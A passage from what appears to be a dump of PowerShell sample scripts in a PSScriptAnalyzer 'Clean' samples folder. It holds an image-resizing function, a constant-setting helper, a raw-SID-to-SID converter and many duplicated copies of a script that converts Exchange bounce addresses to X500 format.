[Int]$Height 13 | , [Parameter(Mandatory=$false)] 14 | [Int]$MaxFilesize 15 | , [Parameter(Mandatory=$false)] 16 | [Int]$Quality = 100 17 | ) 18 | BEGIN { if($SourceFile) { $SourceFile = Get-ChildItem $SourceFile } } 19 | PROCESS { 20 | # Work our way down until we get a small enough file (this might be slow) 21 | [string]$intermediate = [IO.path]::GetRandomFileName() + ".jpeg" 22 | $bitmap = Import-Bitmap $SourceFile 23 | 24 | if($Width -and $Height) { 25 | $bitmap = Resize-Bitmap -Bitmap $bitmap -Width $Width -Height $Height 26 | } else { # work around another bug in Export-Bitmap 27 | $bitmap = Resize-Bitmap -Bitmap $bitmap -Percent 100 28 | } 29 | 30 | do { 31 | Export-Bitmap -Bitmap $bitmap -Path $intermediate -Quality ($Quality--) 32 | } while( $MaxFilesize -and ((Get-ChildItem $intermediate).Length -gt $MaxFilesize)) 33 | Write-Host "Output Quality: $($Quality + 1)%" -Foreground Yellow 34 | Move-Item $intermediate $DestinationFile -Force -Passthru 35 | } 36 | } 37 | 38 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Const.ps1: -------------------------------------------------------------------------------- 1 | function Set-Constant { 2 | <# 3 | .SYNOPSIS 4 | Creates constants. 5 | .DESCRIPTION 6 | This function can help you to create constants so easy as it possible. 7 | It works as keyword 'const' as such as in C#. 8 | .EXAMPLE 9 | PS C:\\> Set-Constant a = 10 10 | PS C:\\> $a += 13 11 | 12 | There is a integer constant declaration, so the second line return 13 | error. 14 | .EXAMPLE 15 | PS C:\\> const str = "this is a constant string" 16 | 17 | You also can use word 'const' for constant declaration. There is a 18 | string constant named '$str' in this example. 19 | .LINK 20 | Set-Variable 21 | About_Functions_Advanced_Parameters 22 | #> 23 | [CmdletBinding()] 24 | param( 25 | [Parameter(Mandatory=$true, Position=0)] 26 | [string][ValidateNotNullOrEmpty()]$Name, 27 | 28 | [Parameter(Mandatory=$true, Position=1)] 29 | [char][ValidateSet("=")]$Link, 30 | 31 | [Parameter(Mandatory=$true, Position=2)] 32 | [object][ValidateNotNullOrEmpty()]$Mean, 33 | 34 | [Parameter(Mandatory=$false)] 35 | [string]$Surround = "script" 36 | ) 37 | 38 | Set-Variable -n $name -val $mean -opt Constant -s $surround 39 | } 40 | 41 | Set-Alias const Set-Constant 42 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Convert Raw SID to SID.ps1: -------------------------------------------------------------------------------- 1 | #For intel concerning how to convert raw hex SID to Standard SID got to 2 | #http://blogs.msdn.com/b/oldnewthing/archive/2004/03/15/89753.aspx 3 | 4 | #to convert Hex to Dec 5 | function Convert-HEXtoDEC 6 | { 7 | param($HEX) 8 | ForEach ($value in $HEX) 9 | { 10 | [string][Convert]::ToInt32($value,16) 11 | } 12 | } 13 | 14 | #to reassort decimal values to correct hex in order to cenvert them 15 | function Reassort 16 | { 17 | param($chaine) 18 | $a = $chaine.substring(0,2) 19 | $b = $chaine.substring(2,2) 20 | $c = $chaine.substring(4,2) 21 | $d = $chaine.substring(6,2) 22 | $d+$c+$b+$a 23 | } 24 | 25 | # this is the main function 26 | # it splits the waxw sid into different parts and then converts the values 27 | # finally it brings the converted SID value. 28 | # you can supply an array of raw sid 29 | function ConvertSID 30 | { 31 | param($chaine32) 32 | foreach($chaine in $chaine32) { 33 | [INT]$SID_Revision = $chaine.substring(0,2) 34 | [INT]$Identifier_Authority = $chaine.substring(2,2) 35 | [INT]$Security_NT_Non_unique = Convert-HEXtoDEC(Reassort($chaine.substring(16,8))) 36 | $chaine1 = $chaine.substring(24,8) 37 | $chaine2 = $chaine.substring(32,8) 38 | $chaine3 = $chaine.substring(40,8) 39 | $chaine4 = $chaine.substring(48,8) 40 | [string]$MachineID_1=Convert-HextoDEC(Reassort($chaine1)) 41 | [string]$MachineID_2=Convert-HextoDEC(Reassort($chaine2)) 42 | [string]$MachineID_3=Convert-HextoDEC(Reassort($chaine3)) 43 | [string]$UID=Convert-HextoDEC(Reassort($chaine4)) 44 | #"S-1-5-21-" + $MachineID_1 + "-" + $MachineID_2 + "-" + $MachineID_3 + "-" + $UID 45 | "S-$SID_revision-$Identifier_Authority-$Security_NT_Non_unique-$MachineID_1-$MachineID_2-$MachineID_3-$UID" 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Convert Raw SID to SID_1.ps1: -------------------------------------------------------------------------------- 1 | #For intel concerning how to convert raw hex SID to Standard SID got to 2 | #http://blogs.msdn.com/b/oldnewthing/archive/2004/03/15/89753.aspx 3 | 4 | #to convert Hex to Dec 5 | function Convert-HEXtoDEC 6 | { 7 | param($HEX) 8 | ForEach ($value in $HEX) 9 | { 10 | [string][Convert]::ToInt32($value,16) 11 | } 12 | } 13 | 14 | #to reassort decimal values to correct hex in order to cenvert them 15 | function Reassort 16 | { 17 | param($chaine) 18 | $a = $chaine.substring(0,2) 19 | $b = $chaine.substring(2,2) 20 | $c = $chaine.substring(4,2) 21 | $d = $chaine.substring(6,2) 22 | $d+$c+$b+$a 23 | } 24 | 25 | # this is the main function 26 | # it splits the waxw sid into different parts and then converts the values 27 | # finally it brings the converted SID value. 28 | # you can supply an array of raw sid 29 | function ConvertSID 30 | { 31 | param($chaine32) 32 | foreach($chaine in $chaine32) { 33 | [INT]$SID_Revision = $chaine.substring(0,2) 34 | [INT]$Identifier_Authority = $chaine.substring(2,2) 35 | [INT]$Security_NT_Non_unique = Convert-HEXtoDEC(Reassort($chaine.substring(16,8))) 36 | $chaine1 = $chaine.substring(24,8) 37 | $chaine2 = $chaine.substring(32,8) 38 | $chaine3 = $chaine.substring(40,8) 39 | $chaine4 = $chaine.substring(48,8) 40 | [string]$MachineID_1=Convert-HextoDEC(Reassort($chaine1)) 41 | [string]$MachineID_2=Convert-HextoDEC(Reassort($chaine2)) 42 | [string]$MachineID_3=Convert-HextoDEC(Reassort($chaine3)) 43 | [string]$UID=Convert-HextoDEC(Reassort($chaine4)) 44 | #"S-1-5-21-" + $MachineID_1 + "-" + $MachineID_2 + "-" + $MachineID_3 + "-" + $UID 45 | "S-$SID_revision-$Identifier_Authority-$Security_NT_Non_unique-$MachineID_1-$MachineID_2-$MachineID_3-$UID" 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Convert Raw SID to SID_2.ps1: -------------------------------------------------------------------------------- 1 | #For intel concerning how to convert raw hex SID to Standard SID got to 2 | #http://blogs.msdn.com/b/oldnewthing/archive/2004/03/15/89753.aspx 3 | 4 | #to convert Hex to Dec 5 | function Convert-HEXtoDEC 6 | { 7 | param($HEX) 8 | ForEach ($value in $HEX) 9 | { 10 | [string][Convert]::ToInt32($value,16) 11 | } 12 | } 13 | 14 | #to reassort decimal values to correct hex in order to cenvert them 15 | function Reassort 16 | { 17 | param($chaine) 18 | $a = $chaine.substring(0,2) 19 | $b = $chaine.substring(2,2) 20 | $c = $chaine.substring(4,2) 21 | $d = $chaine.substring(6,2) 22 | $d+$c+$b+$a 23 | } 24 | 25 | # this is the main function 26 | # it splits the waxw sid into different parts and then converts the values 27 | # finally it brings the converted SID value. 28 | # you can supply an array of raw sid 29 | function ConvertSID 30 | { 31 | param($chaine32) 32 | foreach($chaine in $chaine32) { 33 | [INT]$SID_Revision = $chaine.substring(0,2) 34 | [INT]$Identifier_Authority = $chaine.substring(2,2) 35 | [INT]$Security_NT_Non_unique = Convert-HEXtoDEC(Reassort($chaine.substring(16,8))) 36 | $chaine1 = $chaine.substring(24,8) 37 | $chaine2 = $chaine.substring(32,8) 38 | $chaine3 = $chaine.substring(40,8) 39 | $chaine4 = $chaine.substring(48,8) 40 | [string]$MachineID_1=Convert-HextoDEC(Reassort($chaine1)) 41 | [string]$MachineID_2=Convert-HextoDEC(Reassort($chaine2)) 42 | [string]$MachineID_3=Convert-HextoDEC(Reassort($chaine3)) 43 | [string]$UID=Convert-HextoDEC(Reassort($chaine4)) 44 | #"S-1-5-21-" + $MachineID_1 + "-" + $MachineID_2 + "-" + $MachineID_3 + "-" + $UID 45 | "S-$SID_revision-$Identifier_Authority-$Security_NT_Non_unique-$MachineID_1-$MachineID_2-$MachineID_3-$UID" 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Convert-BounceToX500.ps1: -------------------------------------------------------------------------------- 1 | # $Id: Convert-BounceToX500.ps1 608 2010-10-31 02:12:44Z jon $ 2 | # $Revision: 608 $ 3 | 4 | #.Synopsis 5 | # Convert Bounce to X500 6 | #.Description 7 | # Convert URL Encoded address in a Bounce message to an X500 address 8 | # that can be added as an alias to the mail-enabled object 9 | #.Parameter bounceAddress 10 | # URL Encoded bounce message address 11 | # 12 | #.Example 13 | # Convert-BounceToX500 "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com" 14 | 15 | [CmdletBinding()] 16 | PARAM ( 17 | [Parameter(Mandatory=$true)][string]$bounceAddress 18 | ) 19 | 20 | Add-Type -AssemblyName System.Web|Out-Null 21 | 22 | $bounceAddress = $bounceAddress -Replace "%2B","%" # This is a urlEncoded "+" 23 | $bounceAddress = $bounceAddress -Replace "%3D","=" 24 | $bounceAddress = $bounceAddress -Replace "\\+","%" 25 | $bounceAddress = $bounceAddress -Replace "_O=","/O=" 26 | $bounceAddress = $bounceAddress -Replace "_OU=","/OU=" 27 | $bounceAddress = $bounceAddress -Replace "_CN=","/CN=" 28 | 29 | if([Web.HttpUtility]::UrlDecode($bounceAddress) -match "(/o=.*)@[\\w\\d.]+$"){$matches[1]} 30 | 31 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Convert-BounceToX_1.ps1: -------------------------------------------------------------------------------- 1 | # $Id: Convert-BounceToX500.ps1 610 2010-11-16 00:39:19Z jon $ 2 | # $Revision: 610 $ 3 | 4 | #.Synopsis 5 | # Convert Bounce to X500 6 | #.Description 7 | # Convert URL Encoded address in a Bounce message to an X500 address 8 | # that can be added as an alias to the mail-enabled object 9 | #.Parameter bounceAddress 10 | # URL Encoded bounce message address# 11 | #.Example 12 | # Convert-BounceToX500 "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com" 13 | #.Example 14 | # "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com"|Convert-BounceToX500 15 | 16 | [CmdletBinding()] 17 | PARAM ( 18 | [Parameter(Mandatory=$true,ValueFromPipeline=$true)][string]$bounceAddress 19 | ) 20 | BEGIN 21 | { 22 | Add-Type -AssemblyName System.Web|Out-Null 23 | } 24 | PROCESS 25 | { 26 | if($_) {$bounceAddress = $_} 27 | $bounceAddress = $bounceAddress -Replace "%2B","%" # This is a urlEncoded "+" 28 | $bounceAddress = $bounceAddress -Replace "%3D","=" 29 | $bounceAddress = $bounceAddress -Replace "\\+","%" 30 | $bounceAddress = $bounceAddress -Replace "_O=","/O=" 31 | $bounceAddress = $bounceAddress -Replace "_OU=","/OU=" 32 | $bounceAddress = $bounceAddress -Replace "_CN=","/CN=" 33 | 34 | if([Web.HttpUtility]::UrlDecode($bounceAddress) -match "(/o=.*)@[\\w\\d.]+$"){$matches[1]} 35 | } 36 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Convert-BounceToX_10.ps1: -------------------------------------------------------------------------------- 1 | # $Id: Convert-BounceToX500.ps1 610 2010-11-16 00:39:19Z jon $ 2 | # $Revision: 610 $ 3 | 4 | #.Synopsis 5 | # Convert Bounce to X500 6 | #.Description 7 | # Convert URL Encoded address in a Bounce message to an X500 address 8 | # that can be added as an alias to the mail-enabled object 9 | #.Parameter bounceAddress 10 | # URL Encoded bounce message address# 11 | #.Example 12 | # Convert-BounceToX500 "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com" 13 | #.Example 14 | # "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com"|Convert-BounceToX500 15 | 16 | [CmdletBinding()] 17 | PARAM ( 18 | [Parameter(Mandatory=$true,ValueFromPipeline=$true)][string]$bounceAddress 19 | ) 20 | BEGIN 21 | { 22 | Add-Type -AssemblyName System.Web|Out-Null 23 | } 24 | PROCESS 25 | { 26 | if($_) {$bounceAddress = $_} 27 | $bounceAddress = $bounceAddress -Replace "%2B","%" # This is a urlEncoded "+" 28 | $bounceAddress = $bounceAddress -Replace "%3D","=" 29 | $bounceAddress = $bounceAddress -Replace "\\+","%" 30 | $bounceAddress = $bounceAddress -Replace "_O=","/O=" 31 | $bounceAddress = $bounceAddress -Replace "_OU=","/OU=" 32 | $bounceAddress = $bounceAddress -Replace "_CN=","/CN=" 33 | 34 | if([Web.HttpUtility]::UrlDecode($bounceAddress) -match "(/o=.*)@[\\w\\d.]+$"){$matches[1]} 35 | } 36 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Convert-BounceToX_11.ps1: -------------------------------------------------------------------------------- 1 | # $Id: Convert-BounceToX500.ps1 610 2010-11-16 00:39:19Z jon $ 2 | # $Revision: 610 $ 3 | 4 | #.Synopsis 5 | # Convert Bounce to X500 6 | #.Description 7 | # Convert URL Encoded address in a Bounce message to an X500 address 8 | # that can be added as an alias to the mail-enabled object 9 | #.Parameter bounceAddress 10 | # URL Encoded bounce message address# 11 | #.Example 12 | # Convert-BounceToX500 "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com" 13 | #.Example 14 | # "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com"|Convert-BounceToX500 15 | 16 | [CmdletBinding()] 17 | PARAM ( 18 | [Parameter(Mandatory=$true,ValueFromPipeline=$true)][string]$bounceAddress 19 | ) 20 | BEGIN 21 | { 22 | Add-Type -AssemblyName System.Web|Out-Null 23 | } 24 | PROCESS 25 | { 26 | if($_) {$bounceAddress = $_} 27 | $bounceAddress = $bounceAddress -Replace "%2B","%" # This is a urlEncoded "+" 28 | $bounceAddress = $bounceAddress -Replace "%3D","=" 29 | $bounceAddress = $bounceAddress -Replace "\\+","%" 30 | $bounceAddress = $bounceAddress -Replace "_O=","/O=" 31 | $bounceAddress = $bounceAddress -Replace "_OU=","/OU=" 32 | $bounceAddress = $bounceAddress -Replace "_CN=","/CN=" 33 | 34 | if([Web.HttpUtility]::UrlDecode($bounceAddress) -match "(/o=.*)@[\\w\\d.]+$"){$matches[1]} 35 | } 36 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Convert-BounceToX_12.ps1: -------------------------------------------------------------------------------- 1 | # $Id: Convert-BounceToX500.ps1 610 2010-11-16 00:39:19Z jon $ 2 | # $Revision: 610 $ 3 | 4 | #.Synopsis 5 | # Convert Bounce to X500 6 | #.Description 7 | # Convert URL Encoded address in a Bounce message to an X500 address 8 | # that can be added as an alias to the mail-enabled object 9 | #.Parameter bounceAddress 10 | # URL Encoded bounce message address# 11 | #.Example 12 | # Convert-BounceToX500 "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com" 13 | #.Example 14 | # "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com"|Convert-BounceToX500 15 | 16 | [CmdletBinding()] 17 | PARAM ( 18 | [Parameter(Mandatory=$true,ValueFromPipeline=$true)][string]$bounceAddress 19 | ) 20 | BEGIN 21 | { 22 | Add-Type -AssemblyName System.Web|Out-Null 23 | } 24 | PROCESS 25 | { 26 | if($_) {$bounceAddress = $_} 27 | $bounceAddress = $bounceAddress -Replace "%2B","%" # This is a urlEncoded "+" 28 | $bounceAddress = $bounceAddress -Replace "%3D","=" 29 | $bounceAddress = $bounceAddress -Replace "\\+","%" 30 | $bounceAddress = $bounceAddress -Replace "_O=","/O=" 31 | $bounceAddress = $bounceAddress -Replace "_OU=","/OU=" 32 | $bounceAddress = $bounceAddress -Replace "_CN=","/CN=" 33 | 34 | if([Web.HttpUtility]::UrlDecode($bounceAddress) -match "(/o=.*)@[\\w\\d.]+$"){$matches[1]} 35 | } 36 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Convert-BounceToX_2.ps1: -------------------------------------------------------------------------------- 1 | # $Id: Convert-BounceToX500.ps1 610 2010-11-16 00:39:19Z jon $ 2 | # $Revision: 610 $ 3 | 4 | #.Synopsis 5 | # Convert Bounce to X500 6 | #.Description 7 | # Convert URL Encoded address in a Bounce message to an X500 address 8 | # that can be added as an alias to the mail-enabled object 9 | #.Parameter bounceAddress 10 | # URL Encoded bounce message address# 11 | #.Example 12 | # Convert-BounceToX500 "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com" 13 | #.Example 14 | # "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com"|Convert-BounceToX500 15 | 16 | [CmdletBinding()] 17 | PARAM ( 18 | [Parameter(Mandatory=$true,ValueFromPipeline=$true)][string]$bounceAddress 19 | ) 20 | BEGIN 21 | { 22 | Add-Type -AssemblyName System.Web|Out-Null 23 | } 24 | PROCESS 25 | { 26 | if($_) {$bounceAddress = $_} 27 | $bounceAddress = $bounceAddress -Replace "%2B","%" # This is a urlEncoded "+" 28 | $bounceAddress = $bounceAddress -Replace "%3D","=" 29 | $bounceAddress = $bounceAddress -Replace "\\+","%" 30 | $bounceAddress = $bounceAddress -Replace "_O=","/O=" 31 | $bounceAddress = $bounceAddress -Replace "_OU=","/OU=" 32 | $bounceAddress = $bounceAddress -Replace "_CN=","/CN=" 33 | 34 | if([Web.HttpUtility]::UrlDecode($bounceAddress) -match "(/o=.*)@[\\w\\d.]+$"){$matches[1]} 35 | } 36 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Convert-BounceToX_3.ps1: -------------------------------------------------------------------------------- 1 | # $Id: Convert-BounceToX500.ps1 610 2010-11-16 00:39:19Z jon $ 2 | # $Revision: 610 $ 3 | 4 | #.Synopsis 5 | # Convert Bounce to X500 6 | #.Description 7 | # Convert URL Encoded address in a Bounce message to an X500 address 8 | # that can be added as an alias to the mail-enabled object 9 | #.Parameter bounceAddress 10 | # URL Encoded bounce message address# 11 | #.Example 12 | # Convert-BounceToX500 "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com" 13 | #.Example 14 | # "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com"|Convert-BounceToX500 15 | 16 | [CmdletBinding()] 17 | PARAM ( 18 | [Parameter(Mandatory=$true,ValueFromPipeline=$true)][string]$bounceAddress 19 | ) 20 | BEGIN 21 | { 22 | Add-Type -AssemblyName System.Web|Out-Null 23 | } 24 | PROCESS 25 | { 26 | if($_) {$bounceAddress = $_} 27 | $bounceAddress = $bounceAddress -Replace "%2B","%" # This is a urlEncoded "+" 28 | $bounceAddress = $bounceAddress -Replace "%3D","=" 29 | $bounceAddress = $bounceAddress -Replace "\\+","%" 30 | $bounceAddress = $bounceAddress -Replace "_O=","/O=" 31 | $bounceAddress = $bounceAddress -Replace "_OU=","/OU=" 32 | $bounceAddress = $bounceAddress -Replace "_CN=","/CN=" 33 | 34 | if([Web.HttpUtility]::UrlDecode($bounceAddress) -match "(/o=.*)@[\\w\\d.]+$"){$matches[1]} 35 | } 36 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Convert-BounceToX_4.ps1: -------------------------------------------------------------------------------- 1 | # $Id: Convert-BounceToX500.ps1 610 2010-11-16 00:39:19Z jon $ 2 | # $Revision: 610 $ 3 | 4 | #.Synopsis 5 | # Convert Bounce to X500 6 | #.Description 7 | # Convert URL Encoded address in a Bounce message to an X500 address 8 | # that can be added as an alias to the mail-enabled object 9 | #.Parameter bounceAddress 10 | # URL Encoded bounce message address# 11 | #.Example 12 | # Convert-BounceToX500 "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com" 13 | #.Example 14 | # "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com"|Convert-BounceToX500 15 | 16 | [CmdletBinding()] 17 | PARAM ( 18 | [Parameter(Mandatory=$true,ValueFromPipeline=$true)][string]$bounceAddress 19 | ) 20 | BEGIN 21 | { 22 | Add-Type -AssemblyName System.Web|Out-Null 23 | } 24 | PROCESS 25 | { 26 | if($_) {$bounceAddress = $_} 27 | $bounceAddress = $bounceAddress -Replace "%2B","%" # This is a urlEncoded "+" 28 | $bounceAddress = $bounceAddress -Replace "%3D","=" 29 | $bounceAddress = $bounceAddress -Replace "\\+","%" 30 | $bounceAddress = $bounceAddress -Replace "_O=","/O=" 31 | $bounceAddress = $bounceAddress -Replace "_OU=","/OU=" 32 | $bounceAddress = $bounceAddress -Replace "_CN=","/CN=" 33 | 34 | if([Web.HttpUtility]::UrlDecode($bounceAddress) -match "(/o=.*)@[\\w\\d.]+$"){$matches[1]} 35 | } 36 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Convert-BounceToX_5.ps1: -------------------------------------------------------------------------------- 1 | # $Id: Convert-BounceToX500.ps1 610 2010-11-16 00:39:19Z jon $ 2 | # $Revision: 610 $ 3 | 4 | #.Synopsis 5 | # Convert Bounce to X500 6 | #.Description 7 | # Convert URL Encoded address in a Bounce message to an X500 address 8 | # that can be added as an alias to the mail-enabled object 9 | #.Parameter bounceAddress 10 | # URL Encoded bounce message address# 11 | #.Example 12 | # Convert-BounceToX500 "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com" 13 | #.Example 14 | # "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com"|Convert-BounceToX500 15 | 16 | [CmdletBinding()] 17 | PARAM ( 18 | [Parameter(Mandatory=$true,ValueFromPipeline=$true)][string]$bounceAddress 19 | ) 20 | BEGIN 21 | { 22 | Add-Type -AssemblyName System.Web|Out-Null 23 | } 24 | PROCESS 25 | { 26 | if($_) {$bounceAddress = $_} 27 | $bounceAddress = $bounceAddress -Replace "%2B","%" # This is a urlEncoded "+" 28 | $bounceAddress = $bounceAddress -Replace "%3D","=" 29 | $bounceAddress = $bounceAddress -Replace "\\+","%" 30 | $bounceAddress = $bounceAddress -Replace "_O=","/O=" 31 | $bounceAddress = $bounceAddress -Replace "_OU=","/OU=" 32 | $bounceAddress = $bounceAddress -Replace "_CN=","/CN=" 33 | 34 | if([Web.HttpUtility]::UrlDecode($bounceAddress) -match "(/o=.*)@[\\w\\d.]+$"){$matches[1]} 35 | } 36 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Convert-BounceToX_6.ps1: -------------------------------------------------------------------------------- 1 | # $Id: Convert-BounceToX500.ps1 610 2010-11-16 00:39:19Z jon $ 2 | # $Revision: 610 $ 3 | 4 | #.Synopsis 5 | # Convert Bounce to X500 6 | #.Description 7 | # Convert URL Encoded address in a Bounce message to an X500 address 8 | # that can be added as an alias to the mail-enabled object 9 | #.Parameter bounceAddress 10 | # URL Encoded bounce message address# 11 | #.Example 12 | # Convert-BounceToX500 "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com" 13 | #.Example 14 | # "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com"|Convert-BounceToX500 15 | 16 | [CmdletBinding()] 17 | PARAM ( 18 | [Parameter(Mandatory=$true,ValueFromPipeline=$true)][string]$bounceAddress 19 | ) 20 | BEGIN 21 | { 22 | Add-Type -AssemblyName System.Web|Out-Null 23 | } 24 | PROCESS 25 | { 26 | if($_) {$bounceAddress = $_} 27 | $bounceAddress = $bounceAddress -Replace "%2B","%" # This is a urlEncoded "+" 28 | $bounceAddress = $bounceAddress -Replace "%3D","=" 29 | $bounceAddress = $bounceAddress -Replace "\\+","%" 30 | $bounceAddress = $bounceAddress -Replace "_O=","/O=" 31 | $bounceAddress = $bounceAddress -Replace "_OU=","/OU=" 32 | $bounceAddress = $bounceAddress -Replace "_CN=","/CN=" 33 | 34 | if([Web.HttpUtility]::UrlDecode($bounceAddress) -match "(/o=.*)@[\\w\\d.]+$"){$matches[1]} 35 | } 36 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Convert-BounceToX_7.ps1: -------------------------------------------------------------------------------- 1 | # $Id: Convert-BounceToX500.ps1 610 2010-11-16 00:39:19Z jon $ 2 | # $Revision: 610 $ 3 | 4 | #.Synopsis 5 | # Convert Bounce to X500 6 | #.Description 7 | # Convert URL Encoded address in a Bounce message to an X500 address 8 | # that can be added as an alias to the mail-enabled object 9 | #.Parameter bounceAddress 10 | # URL Encoded bounce message address# 11 | #.Example 12 | # Convert-BounceToX500 "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com" 13 | #.Example 14 | # "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com"|Convert-BounceToX500 15 | 16 | [CmdletBinding()] 17 | PARAM ( 18 | [Parameter(Mandatory=$true,ValueFromPipeline=$true)][string]$bounceAddress 19 | ) 20 | BEGIN 21 | { 22 | Add-Type -AssemblyName System.Web|Out-Null 23 | } 24 | PROCESS 25 | { 26 | if($_) {$bounceAddress = $_} 27 | $bounceAddress = $bounceAddress -Replace "%2B","%" # This is a urlEncoded "+" 28 | $bounceAddress = $bounceAddress -Replace "%3D","=" 29 | $bounceAddress = $bounceAddress -Replace "\\+","%" 30 | $bounceAddress = $bounceAddress -Replace "_O=","/O=" 31 | $bounceAddress = $bounceAddress -Replace "_OU=","/OU=" 32 | $bounceAddress = $bounceAddress -Replace "_CN=","/CN=" 33 | 34 | if([Web.HttpUtility]::UrlDecode($bounceAddress) -match "(/o=.*)@[\\w\\d.]+$"){$matches[1]} 35 | } 36 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Convert-BounceToX_8.ps1: -------------------------------------------------------------------------------- 1 | # $Id: Convert-BounceToX500.ps1 610 2010-11-16 00:39:19Z jon $ 2 | # $Revision: 610 $ 3 | 4 | #.Synopsis 5 | # Convert Bounce to X500 6 | #.Description 7 | # Convert URL Encoded address in a Bounce message to an X500 address 8 | # that can be added as an alias to the mail-enabled object 9 | #.Parameter bounceAddress 10 | # URL Encoded bounce message address# 11 | #.Example 12 | # Convert-BounceToX500 "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com" 13 | #.Example 14 | # "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com"|Convert-BounceToX500 15 | 16 | [CmdletBinding()] 17 | PARAM ( 18 | [Parameter(Mandatory=$true,ValueFromPipeline=$true)][string]$bounceAddress 19 | ) 20 | BEGIN 21 | { 22 | Add-Type -AssemblyName System.Web|Out-Null 23 | } 24 | PROCESS 25 | { 26 | if($_) {$bounceAddress = $_} 27 | $bounceAddress = $bounceAddress -Replace "%2B","%" # This is a urlEncoded "+" 28 | $bounceAddress = $bounceAddress -Replace "%3D","=" 29 | $bounceAddress = $bounceAddress -Replace "\\+","%" 30 | $bounceAddress = $bounceAddress -Replace "_O=","/O=" 31 | $bounceAddress = $bounceAddress -Replace "_OU=","/OU=" 32 | $bounceAddress = $bounceAddress -Replace "_CN=","/CN=" 33 | 34 | if([Web.HttpUtility]::UrlDecode($bounceAddress) -match "(/o=.*)@[\\w\\d.]+$"){$matches[1]} 35 | } 36 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Convert-BounceToX_9.ps1: -------------------------------------------------------------------------------- 1 | # $Id: Convert-BounceToX500.ps1 610 2010-11-16 00:39:19Z jon $ 2 | # $Revision: 610 $ 3 | 4 | #.Synopsis 5 | # Convert Bounce to X500 6 | #.Description 7 | # Convert URL Encoded address in a Bounce message to an X500 address 8 | # that can be added as an alias to the mail-enabled object 9 | #.Parameter bounceAddress 10 | # URL Encoded bounce message address# 11 | #.Example 12 | # Convert-BounceToX500 "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com" 13 | #.Example 14 | # "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com"|Convert-BounceToX500 15 | 16 | [CmdletBinding()] 17 | PARAM ( 18 | [Parameter(Mandatory=$true,ValueFromPipeline=$true)][string]$bounceAddress 19 | ) 20 | BEGIN 21 | { 22 | Add-Type -AssemblyName System.Web|Out-Null 23 | } 24 | PROCESS 25 | { 26 | if($_) {$bounceAddress = $_} 27 | $bounceAddress = $bounceAddress -Replace "%2B","%" # This is a urlEncoded "+" 28 | $bounceAddress = $bounceAddress -Replace "%3D","=" 29 | $bounceAddress = 